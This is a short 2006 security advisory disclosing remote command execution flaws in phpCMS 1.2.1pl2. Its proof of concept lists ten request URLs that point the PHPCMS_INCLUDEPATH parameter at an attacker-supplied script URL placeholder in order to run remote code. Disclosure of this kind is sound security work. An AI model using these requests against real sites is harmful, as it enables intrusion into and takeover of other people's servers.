----------------------------------------------------- Advisory id: FSA:014 Author: Federico Fazzi Date: 12/06/2006, 10:25 Sinthesis: phpCMS 1.2.1pl2, Remote command execution Type: high Product: http://www.phpcms.de/ Patch: unavailable ----------------------------------------------------- 1) Description: Multiple vulnerabilities, see poc. 2) Proof of concept: http://example/[pc_path]/parser/include/class.parser_phpcms.php?PHPCMS_I NCLUDEPATH=[cmd_url] http://example/[pc_path]/parser/include/class.session_phpcms.php?PHPCMS_ INCLUDEPATH=[cmd_url] http://example/[pc_path]/parser/include/class.edit_phpcms.php?PHPCMS_INC LUDEPATH=[cmd_url] http://example/[pc_path]/parser/include/class.http_indexer_phpcms.php?PH PCMS_INCLUDEPATH=[cmd_url] http://example/[pc_path]/parser/include/class.cache_phpcms.php?PHPCMS_IN CLUDEPATH=[cmd_url] http://example/[pc_path]/parser/include/class.search_phpcms.php?PHPCMS_I NCLUDEPATH=[cmd_url] http://example/[pc_path]/parser/include/class.lib_indexer_universal_phpc ms.php?PHPCMS_INCLUDEPATH=[cmd_url] http://example/[pc_path]/parser/include/class.layout_phpcms.php?PHPCMS_I NCLUDEPATH=[cmd_url] http://example/[pc_path]/parser/plugs/counter.php?PHPCMS_INCLUDEPATH=[cm d_url] http://example/[pc_path]/parser/parser.php?PHPCMS_INCLUDEPATH=[cmd_url]/ (note this is with final slash (/)) 3) Solution: sanitized all variables on all files.